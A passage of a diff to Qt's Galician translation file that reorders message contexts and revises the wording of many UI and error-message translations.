nin vcenter. + QDeclarativeTypeLoader + + Script %1 unavailable + + + + Type %1 unavailable + O tipo %1 non está dispoñíbel + + + Namespace %1 cannot be used as a type + O espazo de nomes %1 non se pode empregar como un tipo + + + %1 %2 + %1 %2 + + + QDeclarativeVME Unable to create object of type %1 @@ -2383,7 +2163,7 @@ superior, inferior nin vcenter. Cannot assign value %1 to property %2 - Non é posíbel asignar o valor %1 á propriedade %2 + Non é posíbel asignar o valor %1 á propiedade %2 Cannot assign object type %1 with no default method @@ -2395,7 +2175,7 @@ superior, inferior nin vcenter. Cannot assign an object to signal property %1 - Non é posíbel asignar un obxecto á propriedade de sinal %1 + Non é posíbel asignar un obxecto á propiedade de sinal %1 Cannot assign object to list @@ -2403,7 +2183,7 @@ superior, inferior nin vcenter. Cannot assign object to interface property - Non é posíbel asignar un obxecto a unha propriedade dunha interface + Non é posíbel asignar un obxecto a unha propiedade dunha interface Unable to create attached object @@ -2411,14 +2191,21 @@ superior, inferior nin vcenter. Cannot set properties on %1 as it is null - Non se poden definir propriedades de %1 porque é nulo + Non se poden definir propiedades de %1 porque é nulo QDeclarativeVisualDataModel Delegate component must be Item type. - O componente delegado debe ser do tipo Item. + O compoñente delegado debe ser do tipo Item. + + + + QDeclarativeXmlListModel + + Qt was built without support for xmlpatterns + Qt construíuse sen soporte para xmlpatterns @@ -2436,21 +2223,6 @@ superior, inferior nin vcenter. - QObject - - "%1" duplicates a previous role name and will be disabled. - «%1» duplica un nome de rol anterior e desactivarase. - - - invalid query: "%1" - pescuda non válida: «%1» - - - PulseAudio Sound Server - Servidor de son PulseAudio - - - QDial QDial @@ -2466,149 +2238,37 @@ superior, inferior nin vcenter. - QDoubleSpinBox + QDialog - More - Máis + Done + Feito - Less - Menos + What's This? + Que é isto? - QScrollBar + QDialogButtonBox - Line up - Aliñar en riba + OK + Aceptar - Position - Posición + &OK + &Aceptar - Line down - Aliñar en baixo + &Save + &Gardar - Scroll here - Desprazar cara aquí + Save + Gardar - Left edge - Borde esquerdo - - - Top - Cume - - - Right edge - Borde dereito - - - Bottom - Fondo - - - Page left - Páxina á esquerda - - - Page up - Páxina en riba - - - Page right - Páxina á dereita - - - Page down - Páxina en baixo - - - Scroll left - Desprazar cara á esquerda - - - Scroll up - Desprazar cara arriba - - - Scroll right - Desprazar cara á dereita - - - Scroll down - Desprazar cara abaixo - - - - QSlider - - Page left - Páxina á esquerda - - - Page up - Páxina en riba - - - Position - Posición - - - Page right - Páxina á dereita - - - Page down - Páxina en baixo - - - - QSpinBox - - More - Máis - - - Less - Menos - - - - QDialog - - Done - Feito - - - What's This? - Que é isto? - - - - QDialogButtonBox - - OK - Aceptar - - - &OK - &Aceptar - - - &Save - &Gardar - - - Save - Gardar - - - Open - Abrir + Open + Abrir &Cancel @@ -2688,67 +2348,108 @@ superior, inferior nin vcenter. - QMessageBox + QDirModel - Show Details... - Mostrar os detalles... + Name + Nome - Hide Details... - Agochar os detalles... + Size + Tamaño - OK - Aceptar + Kind + Match OS X Finder + Tipo - Help - Axuda + Type + All other platforms + Tipo - <h3>About Qt</h3><p>This program uses Qt version %1.</p> - <h3>Acerca de Qt</h3><p>Este programa emprega a versión %1 de Qt.</p> + Date Modified + Data de modificación + + + QDockWidget - <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p> - <p>Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.</p> <p>Qt fornece portabilidade entre MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.</p> -<p>Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.</p> -</p>Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software proprietario -ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.</p> -<p>Qt sob a licenza GNU General Public License versión 2.1 é apropriada para o desenvolvemento de programas Qt (proprietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.</p> -<p>Qt sob a licenza GNU General Public License versión 3.0 é apropriada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.</p> -<p>Consulte <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> para ler un resumo das licenzas de Qt.</p> -<p>Copyright (C) 2011 Nokia Corporation ou as súas subsidiarias.</p> -<p>Qt é un produto de Nokia. Consulte <a href="http://qt.nokia.com/">qt.nokia.com</a> para máis información.</p> + Close + Pechar - About Qt - Acerca de Qt + Dock + Acoplar + + + Float + Flutuante - QDirModel + QDoubleSpinBox - Name - Nome + More + Máis - Size - Tamaño + Less + Menos + + + QErrorMessage - Kind - Match OS X Finder - Tipo + Debug Message: + Mensaxe de depuración: - Type - All other platforms - Tipo + Warning: + Aviso: - Date Modified - Data de modificación + Fatal Error: + Erro fatal: + + + &Show this message again + &Mostrar esta mensaxe de novo + + + &OK + &Aceptar + + + + QFile + + Destination file exists + O ficheiro de destino xa existe + + + Will not rename sequential file using block copy + Non se mudará o nome do ficheiro secuencial empregando a copia de bloques + + + Cannot remove source file + Non é posíbel eliminar o ficheiro de orixe + + + Cannot open %1 for input + Non é posíbel abrir %1 como entrada + + + Cannot open for output + Non foi posíbel abrir o ficheiro de saída + + + Failure to write block + Non foi posíbel escribir o bloque + + + Cannot create %1 for output + Non foi posíbel crear %1 para a saída @@ -2815,7 +2516,7 @@ ou comercial onde non é preciso compartir ningún código fonte con terceiras p Find Directory - Procurar un cartafol + Buscar un cartafol Open @@ -2878,7 +2579,7 @@ ou comercial onde non é preciso compartir ningún código fonte con terceiras p Directory not found. Please verify the correct directory name was given. %1 -Non se achou o cartafol. +Non se atopou o cartafol. Verifique que se indicase o nome correcto. @@ -3024,103 +2725,34 @@ Desexa aínda así borralo? - QDockWidget + QFontDatabase - Close - Pechar + Normal + Normal - Dock - Acoplar + Bold + Negriña - Float - Flutuante + Demi Bold + Demi negriña - - - QErrorMessage - Debug Message: - Mensaxe de depuración: + Black + Escura - Warning: - Aviso: + Demi + Demi - Fatal Error: - Erro fatal: + Light + Clara - &Show this message again - &Mostrar esta mensaxe de novo - - - &OK - &Aceptar - - - - QFile - - Destination file exists - O ficheiro de destino xa existe - - - Will not rename sequential file using block copy - Non se mudará o nome do ficheiro secuencial empregando a copia de bloques - - - Cannot remove source file - Non é posíbel eliminar o ficheiro de orixe - - - Cannot open %1 for input - Non é posíbel abrir %1 como entrada - - - Cannot open for output - Non foi posíbel abrir o ficheiro de saída - - - Failure to write block - Non foi posíbel escribir o bloque - - - Cannot create %1 for output - Non foi posíbel crear %1 para a saída - - - - QFontDatabase - - Normal - Normal - - - Bold - Negriña - - - Demi Bold - Demi negriña - - - Black - Escura - - - Demi - Demi - - - Light - Clara - - - Italic - Cursiva + Italic + Cursiva Oblique @@ -3442,6 +3074,117 @@ Desexa aínda así borralo? + QHttp + + Connection refused + Rexeitouse a conexión + + + Connection closed + Pechouse a conexión + + + Proxy requires authentication + O proxy require autenticación + + + Host requires authentication + O servidor require autenticación + + + Data corrupted + Datos corrompidos + + + Unknown protocol specified + Especificouse un protocolo descoñecido + + + SSL handshake failed + Fallou a negociación de SSL + + + HTTPS connection requested but SSL support not compiled in + Pediuse unha conexión HTTPS pero non se compilou con soporte de SSL + + + Unknown error + Erro descoñecido + + + Request aborted + Pedido abortado + + + No server set to connect to + Non se indicou ningún servidor co que conectar + + + Wrong content length + Lonxitude do contido incorrecta + + + Server closed connection unexpectedly + O servidor pechou a conexión inesperadamente + + + Connection refused (or timed out) + Rexeitouse a conexión (ou esgotou o tempo-límite) + + + Host %1 not found + Non se atopou o servidor %1 + + + HTTP request failed + O pedido HTTP fallou + + + Invalid HTTP response header + A cabeceira da resposta HTTP non é válida + + + Unknown authentication method + Método descoñecido de autenticación + + + Proxy authentication required + Requírese de autenticación no proxy + + + Authentication required + Requírese de autenticación + + + Invalid HTTP chunked body + Corpo HTTP en pedazos non válido + + + Error writing response to device + Erro ao escribir a resposta no dispositivo + + + Host %1 found + Atopouse o servidor %1 + + + Connected to host %1 + Conectado co servidor %1 + + + Connection to %1 closed + Pechouse a conexión con %1 + + + Host found + Atopouse un servidor + + + Connected to host + Conectado co servidor + + + QHttpSocketEngine Did not receive HTTP response from proxy @@ -3631,15 +3374,15 @@ Desexa aínda así borralo? QLibrary Could not mmap '%1': %2 - Non foi posíbel mmap «%1»: %2 + Non foi posíbel mmap «%1»: %2 Plugin verification data mismatch in '%1' - Erro de concordancia na verificación dos datos da extensión en «%1» + Erro de concordancia na verificación dos datos do complemento en «%1» Could not unmap '%1': %2 - Non foi posíbel unmap «%1»: %2 + Non foi posíbel unmap «%1»: %2 The shared library was not found. @@ -3647,21 +3390,20 @@ Desexa aínda así borralo? The file '%1' is not a valid Qt plugin. - O ficheiro «%1» non é unha extensión válida de Qt. + O ficheiro «%1» non é un complemento válido de Qt. The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5] - A extensión «%1» utiliza unha biblioteca Qt non compatíbel. (%2.%3.%4) [%5] + O complemento «%1» utiliza unha biblioteca Qt non compatíbel. (%2.%3.%4) [%5] The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3" - A extensión «%1» utiliza unha biblioteca Qt non compatíbel. Agardábase a + O complemento «%1» utiliza unha biblioteca Qt non compatíbel. Agardábase a chave de compilación «%2», obtívose a «%3» The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.) - A extensión «%1» utiliza unha biblioteca Qt non compatíbel (Non é posíbel -misturar as bibliotecas de depuración coas publicadas). + O complemento «%1» utiliza unha biblioteca Qt non compatíbel (Non é posíbel mesturar as bibliotecas de depuración coas publicadas). Unknown error @@ -3952,6 +3694,57 @@ misturar as bibliotecas de depuración coas publicadas). + QMessageBox + + Show Details... + Mostrar os detalles... + + + Hide Details... + Acochar os detalles... + + + OK + Aceptar + + + Help + Axuda + + + <h3>About Qt</h3><p>This program uses Qt version %1.</p> + <h3>Acerca de Qt</h3><p>Este programa emprega a versión %1 de Qt.</p> + + + <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p> + <p>Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.</p> <p>Qt fornece portabilidade entre MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.</p> +<p>Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.</p> +</p>Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software proprietario +ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.</p> +<p>Qt sob a licenza GNU General Public License versión 2.1 é apropriada para o desenvolvemento de programas Qt (proprietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.</p> +<p>Qt sob a licenza GNU General Public License versión 3.0 é apropriada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.</p> +<p>Consulte <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> para ler un resumo das licenzas de Qt.</p> +<p>Copyright (C) 2011 Nokia Corporation ou as súas subsidiarias.</p> +<p>Qt é un produto de Nokia. Consulte <a href="http://qt.nokia.com/">qt.nokia.com</a> para máis información.</p> + + + <p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p><p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p> + <p>Qt é un toolkit de C++ para o desenvolvemento de programas multiplataforma.</p> <p>Qt fornece portabilidade entre MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux e as principais variantes comerciais de Unix cun único código fonte. Qt tamén está dispoñíbel para dispositivos incrustados como Qt para Embedded Linux e Qt para Windows CE.</p> +<p>Qt está dispoñíbel en tres opcións de licenzas diferentes deseñadas para adaptarse ás necesidades dos diferentes usuarios.</p> +</p>Qt distribuída sob o acordo de licenza comercial é adecuado para o desenvolvemento de software propietario +ou comercial onde non é preciso compartir ningún código fonte con terceiras partes ou que non poden cumprir os termos das licenzas GNU LGPL versión 2.1 nin da versión 3.0.</p> +<p>Qt sob a licenza GNU General Public License versión 2.1 é apropiada para o desenvolvemento de programas Qt (propietario ou de fontes abertas) supoñendo que poda cumprir cos termos e condicións da licenza GNU GPL versión 2.1.</p> +<p>Qt sob a licenza GNU General Public License versión 3.0 é apropiada para o desenvolvemento de programas Qt onde desexe empregar tales programas en combinación con software suxeito aos termos da GNU GPL versión 3.0 ou onde desexe cumprir cos termos da GNU GPL versión 3.0.</p> +<p>Consulte <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> para ler un resumo das licenzas de Qt.</p> +<p>Copyright (C) 2010 Nokia Corporation ou as súas subsidiarias.</p> +<p>Qt é un produto de Nokia. Consulte <a href="http://qt.nokia.com/">qt.nokia.com</a> para máis información.</p> + + + About Qt + Acerca de Qt + + + QMultiInputContext Select IM @@ -4118,7 +3911,7 @@ texto Cannot open %1: Path is a directory - Non é posíbel abrir %1: A rota é un directorio + Non é posíbel abrir %1: A ruta é un directorio Error opening %1: %2 @@ -4164,6 +3957,13 @@ texto + QNetworkAccessManager + + Network access is disabled. + O acceso á rede está desactivado. + + + QNetworkReply Error downloading %1 - server replied: %2 @@ -4183,13 +3983,6 @@ texto - QNetworkAccessManager - - Network access is disabled. - O acceso á rede está desactivado. - - - QNetworkReplyImpl Operation canceled @@ -4325,30 +4118,217 @@ texto - QPPDOptionsModel + QODBCResult - Name - Nome + Unable to fetch last + Non foi posíbel acadar o último - Value - Valor + QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration + QODBCResult::reset: Non foi posíbel estabelecer «SQL_CURSOR_STATIC» como +atributo da sentenza. Verifique a configuración do controlador ODBC - - - QPrintDialog - &Options >> - &Opcións >> + Unable to execute statement + Non foi posíbel executar a sentenza - &Print - &Imprimir + Unable to fetch + Non foi posíbel acadar - &Options << - &Opcións << - + Unable to fetch next + Non foi posíbel acadar o seguinte + + + Unable to fetch first + Non foi posíbel acadar o primeiro + + + Unable to fetch previous + Non foi posíbel acadar o anterior + + + Unable to prepare statement + Non foi posíbel preparar a sentenza + + + Unable to bind variable + Non foi posíbel asociar a variábel + + + + QObject + + "%1" duplicates a previous role name and will be disabled. + «%1» duplica un nome de rol anterior e desactivarase. + + + invalid query: "%1" + pescuda non válida: «%1» + + + PulseAudio Sound Server + Servidor de son PulseAudio + + + + QPPDOptionsModel + + Name + Nome + + + Value + Valor + + + + QPSQLDriver + + Unable to connect + Non foi posíbel conectar + + + Could not begin transaction + Non foi posíbel comezar a transacción + + + Could not commit transaction + Non foi posíbel entregar a transacción + + + Could not rollback transaction + Non foi posíbel anular a transacción + + + Unable to subscribe + Non foi posíbel subscribirse + + + Unable to unsubscribe + Non foi posíbel anular a subscrición + + + + QPSQLResult + + Unable to create query + Non foi posíbel crear a consulta + + + Unable to prepare statement + Non foi posíbel preparar a sentenza + + + + QPageSetupWidget + + Form + Formulario + + + Paper + Papel + + + Page size: + Tamaño da páxina: + + + Width: + Largura: + + + Height: + Altura: + + + Paper source: + Fonte do papel: + + + Orientation + Orientación + + + Portrait + Retrato + + + Landscape + Apaisado + + + Reverse landscape + Apaisado invertido + + + Reverse portrait + Retrato invertido + + + Margins + Marxes + + + top margin + marxe superior + + + left margin + marxe esquerda + + + right margin + marxe dereita + + + bottom margin + marxe inferior + + + Centimeters (cm) + Centímetros (cm) + + + Millimeters (mm) + Milímetros (mm) + + + Inches (in) + Polgadas (pol) + + + Points (pt) + Puntos (pt) + + + + QPluginLoader + + The plugin was not loaded. + O complemento non se cargou. + + + Unknown error + Erro descoñecido + + + + QPrintDialog + + &Options >> + &Opcións >> + + + &Print + &Imprimir + + + &Options << + &Opcións << + Print to File (PDF) Imprimir nun ficheiro (PDF) @@ -4643,173 +4623,41 @@ Desexa sobrescribilo? US Common #10 Envelope (105 x 241 mm) Sobre US Common #10 (105 x 241 mm) - - Print all - Imprimir todas - - - Print selection - Imprimir a selección - - - Print range - Intervalo de impresión - - - Print current page - Imprimir a páxina actual - - - The 'From' value cannot be greater than the 'To' value. - O valor «de» non pode ser maior do que o valor «até». - - - OK - Aceptar - - - locally connected - conectado localmente - - - Aliases: %1 - Alcumes: %1 - - - unknown - descoñecido - - - - QPSQLDriver - - Unable to connect - Non foi posíbel conectar - - - Could not begin transaction - Non foi posíbel comezar a transacción - - - Could not commit transaction - Non foi posíbel entregar a transacción - - - Could not rollback transaction - Non foi posíbel anular a transacción - - - Unable to subscribe - Non foi posíbel subscribirse - - - Unable to unsubscribe - Non foi posíbel anular a subscrición - - - - QPSQLResult - - Unable to create query - Non foi posíbel crear a consulta - - - Unable to prepare statement - Non foi posíbel preparar a sentenza - - - - QPageSetupWidget - - Form - Formulario - - - Paper - Papel - - - Page size: - Tamaño da páxina: - - - Width: - Largura: - - - Height: - Altura: - - - Paper source: - Fonte do papel: - - - Orientation - Orientación - - - Portrait - Retrato - - - Landscape - Apaisado - - - Reverse landscape - Apaisado invertido - - - Reverse portrait - Retrato invertido - - - Margins - Marxes - - - top margin - marxe superior - - - left margin - marxe esquerda + + Print all + Imprimir todas - right margin - marxe dereita + Print selection + Imprimir a selección - bottom margin - marxe inferior + Print range + Intervalo de impresión - Centimeters (cm) - Centímetros (cm) + Print current page + Imprimir a páxina actual - Millimeters (mm) - Milímetros (mm) + The 'From' value cannot be greater than the 'To' value. + O valor «de» non pode ser maior do que o valor «até». - Inches (in) - Polgadas (pol) + OK + Aceptar - Points (pt) - Puntos (pt) + locally connected + conectado localmente - - - QPluginLoader - The plugin was not loaded. - A extensión non se cargou. + Aliases: %1 + Alcumes: %1 - Unknown error - Erro descoñecido + unknown + descoñecido @@ -5013,11 +4861,11 @@ Desexa sobrescribilo? P&roperties - P&ropriedades + P&ropiedades Location: - Localización: + Lugar: Preview @@ -5083,6 +4931,20 @@ Desexa sobrescribilo? + QPushButton + + Open + Abrir + + + + QRadioButton + + Check + Marcar + + + QRegExp no error occurred @@ -5248,13 +5110,6 @@ Desexa sobrescribilo? - QScriptNewBreakpointWidget - - Close - Pechar - - - QScriptDebugger Go to Line @@ -5338,7 +5193,7 @@ Desexa sobrescribilo? &Find in Script... - Procurar no &script... + Buscar no &script... Ctrl+F @@ -5346,7 +5201,7 @@ Desexa sobrescribilo? Find &Next - Procurar o &seguinte + Buscar o &seguinte F3 @@ -5354,7 +5209,7 @@ Desexa sobrescribilo? Find &Previous - Procurar o &anterior + Buscar o &anterior Shift+F3 @@ -5393,7 +5248,7 @@ Desexa sobrescribilo? <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;Search wrapped - <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;A procura retornou + <img src=":/qt/scripttools/debugging/images/wrap.png">&nbsp;A busca retornou @@ -5469,11 +5324,11 @@ Desexa sobrescribilo? Error Log - Rexisto de erros + Rexistro de erros Search - Procurar + Buscar View @@ -5485,6 +5340,80 @@ Desexa sobrescribilo? + QScriptNewBreakpointWidget + + Close + Pechar + + + + QScrollBar + + Line up + Aliñar en riba + + + Position + Posición + + + Line down + Aliñar en baixo + + + Scroll here + Desprazar cara aquí + + + Left edge + Borde esquerdo + + + Top + Cume + + + Right edge + Borde dereito + + + Bottom + Fondo + + + Page left + Páxina á esquerda + + + Page up + Páxina en riba + + + Page right + Páxina á dereita + + + Page down + Páxina en baixo + + + Scroll left + Desprazar cara á esquerda + + + Scroll up + Desprazar cara arriba + + + Scroll right + Desprazar cara á dereita + + + Scroll down + Desprazar cara abaixo + + + QSharedMemory %1: unable to set key on lock @@ -5556,7 +5485,7 @@ Desexa sobrescribilo? %1: not attached - %1: non adxuntado + %1: non anexado %1: size query failed @@ -5754,7 +5683,7 @@ Desexa sobrescribilo? Search - Procurar + Buscar Standby @@ -6046,7 +5975,7 @@ Desexa sobrescribilo? Rotate Windows - Xirar as fiestras + Xirar as xanelas Rotation PB @@ -6206,7 +6135,7 @@ Desexa sobrescribilo? Page Down - Página Abaixo + Páxina Abaixo Caps Lock @@ -6277,7 +6206,7 @@ Desexa sobrescribilo? Toggle Call/Hangup Button that will hang up if we're in call, or make a call if we're not. - Comutar chamar/colgar + Conmutar chamar/colgar Flip @@ -6285,7 +6214,7 @@ Desexa sobrescribilo? Voice Dial - Button to trigger voice dialling + Button to trigger voice dialing Chamar mediante voz @@ -6449,6 +6378,88 @@ Desexa sobrescribilo? + QSlider + + Page left + Páxina á esquerda + + + Page up + Páxina en riba + + + Position + Posición + + + Page right + Páxina á dereita + + + Page down + Páxina en baixo + + + + QSocks5SocketEngine + + Connection to proxy refused + A conexión co proxy foi rexeitada + + + Connection to proxy closed prematurely + A conexión co proxy pechouse antes de tempo + + + Proxy host not found + Non se atopou o servidor proxy + + + Connection to proxy timed out + A conexión co proxy esgotou o tempo-límite + + + Proxy authentication failed + Fallou a autenticación co proxy + + + Proxy authentication failed: %1 + Fallou a autenticación no proxy: %1 + + + SOCKS version 5 protocol error + Erro do protocolo SOCKS versión 5 + + + General SOCKSv5 server failure + Fallo xeral do servidor SOCKSv5 + + + Connection not allowed by SOCKSv5 server + O servidor SOCKSv5 non permitiu a conexión + + + TTL expired + Esgotouse o TTL + + + SOCKSv5 command not supported + A orde SOCKSv5 non está soportada + + + Address type not supported + Tipo de enderezo non soportado + + + Unknown SOCKSv5 proxy error code 0x%1 + Código de erro descoñecido (0x%1) do proxy SOCKSv5 + + + Network operation timed out + A operación de rede esgotou o tempo-límite + + + QSoftKeyManager Ok @@ -6476,6 +6487,17 @@ Desexa sobrescribilo? + QSpinBox + + More + Máis + + + Less + Menos + + + QSql Delete @@ -6578,11 +6600,11 @@ Desexa sobrescribilo? The basicConstraints path length parameter has been exceeded - Superouse a lonxitude da rota do parámetro basicConstraints + Superouse a lonxitude da ruta do parámetro basicConstraints The supplied certificate is unsuitable for this purpose - O certificado fornecido non é apropriada para este propósito + O certificado fornecido non é apropiada para este propósito The root CA certificate is not trusted for this purpose @@ -6594,11 +6616,11 @@ Desexa sobrescribilo? The current candidate issuer certificate was rejected because its subject name did not match the issuer name of the current certificate - O certificado emisor do candidado actual rexeitouse porque o nome do asunto non coincide co do emisor do certificado actual + O certificado emisor do candidato actual rexeitouse porque o nome do asunto non coincide co do emisor do certificado actual The current candidate issuer certificate was rejected because its issuer name and serial number was present and did not match the authority key identifier of the current certificate - O certificado emisor do candidado actual rexeitouse porque o nome do emisor e o número de serie están presentes pero non coinciden co identificador da autoridade da chave do certificado actual + O certificado emisor do candidato actual rexeitouse porque o nome do emisor e o número de serie están presentes pero non coinciden co identificador da autoridade da chave do certificado actual The peer did not present any certificate @@ -6681,14 +6703,48 @@ Desexa sobrescribilo? + QSystemSemaphore + + %1: permission denied + %1: negouse o permiso + + + %1: already exists + %1: xa existe + + + %1: does not exist + %1: non existe + + + %1: out of resources + %1: esgotou os recursos + + + %1: unknown error %2 + %1: erro descoñecido %2 + + + QTDSDriver Unable to open connection Non foi posíbel abrir a conexión - Unable to use database - Non foi posíbel empregar a base de datos + Unable to use database + Non foi posíbel empregar a base de datos + + + + QTabBar + + Scroll Left + Desprazar cara a esquerda + + + Scroll Right + Desprazar cara a dereita @@ -6734,6 +6790,53 @@ Desexa sobrescribilo? + QToolButton + + Press + Premer + + + Open + Abrir + + + + QUdpSocket + + This platform does not support IPv6 + Esta plataforma non admite IPv6 + + + + QUndoGroup + + Undo + Desfacer + + + Redo + Facer de novo + + + + QUndoModel + + <empty> + <baleiro> + + + + QUndoStack + + Undo + Desfacer + + + Redo + Facer de novo + + + QUnicodeControlCharacterMenu LRM Left-to-right mark @@ -6781,42 +6884,6 @@ Desexa sobrescribilo? - QUdpSocket - - This platform does not support IPv6 - Esta plataforma non admite IPv6 - - - - QUndoGroup - - Undo - Desfacer - - - Redo - Facer de novo - - - - QUndoModel - - <empty> - <baleiro> - - - - QUndoStack - - Undo - Desfacer - - - Redo - Facer de novo - - - QWebFrame Request cancelled @@ -6879,7 +6946,7 @@ Desexa sobrescribilo? This is a searchable index. Enter search keywords: text that appears at the start of nearly-obsolete web pages in the form of a 'searchable index' - Este é un índice con capacidade de procura. Introduza as palabras chave da procura: + Este é un índice con capacidade de busca. Introduza as palabras chave da busca: Choose File @@ -6894,7 +6961,7 @@ Desexa sobrescribilo? Open in New Window Open in New Window context menu item - Abrir nunha fiestra nova + Abrir nunha xanela nova Save Link... @@ -6964,7 +7031,7 @@ Desexa sobrescribilo? No Guesses Found No Guesses Found context menu item - Non se acharon conxecturas + Non se atoparon conxecturas Ignore @@ -6979,7 +7046,7 @@ Desexa sobrescribilo? Search The Web Search The Web context menu item - Procurar na web + Buscar na web Look Up In Dictionary @@ -7084,22 +7151,22 @@ Desexa sobrescribilo? No recent searches Label for only item in menu that appears when clicking on the search field image, when no searches have been performed - Non se procurou nada + Non se buscou nada Recent searches label for first item in the menu that appears when clicking on the search field image, used as embedded menu title - Procuras recentes + Buscas recentes Clear recent searches menu item in Recent Searches menu that empties menu's contents - Limpar as procuras recentes + Limpar as buscas recentes Missing Plug-in Label text to be used when a plug-in is missing - Falta a extensión + Falta o complemento Unknown @@ -7129,7 +7196,7 @@ Desexa sobrescribilo? Video Element Media controller element - Elemento de video + Elemento de vídeo Mute Button @@ -7239,7 +7306,7 @@ Desexa sobrescribilo? Movie time scrubber thumb Media controller element - Minuatura do cursor de posición do filme + Miniatura do cursor de posición do filme Rewind movie @@ -7881,7 +7948,7 @@ Desexa sobrescribilo? Start tag expected. - Agardábase unha etiquera de inicio. + Agardábase unha etiqueta de inicio. NDATA in parameter entity declaration. @@ -7893,7 +7960,7 @@ Desexa sobrescribilo? %1 is an invalid processing instruction name. - %1 é un nome non válido de intrucción de procesamento. + %1 é un nome non válido de instrución de procesamento. Invalid processing instruction name. @@ -7925,7 +7992,7 @@ Desexa sobrescribilo? Invalid character reference. - Referencia a un caracter non válido. + Referencia a un carácter non válido. @@ -8124,15 +8191,16 @@ Desexa sobrescribilo? The target name in a processing instruction cannot 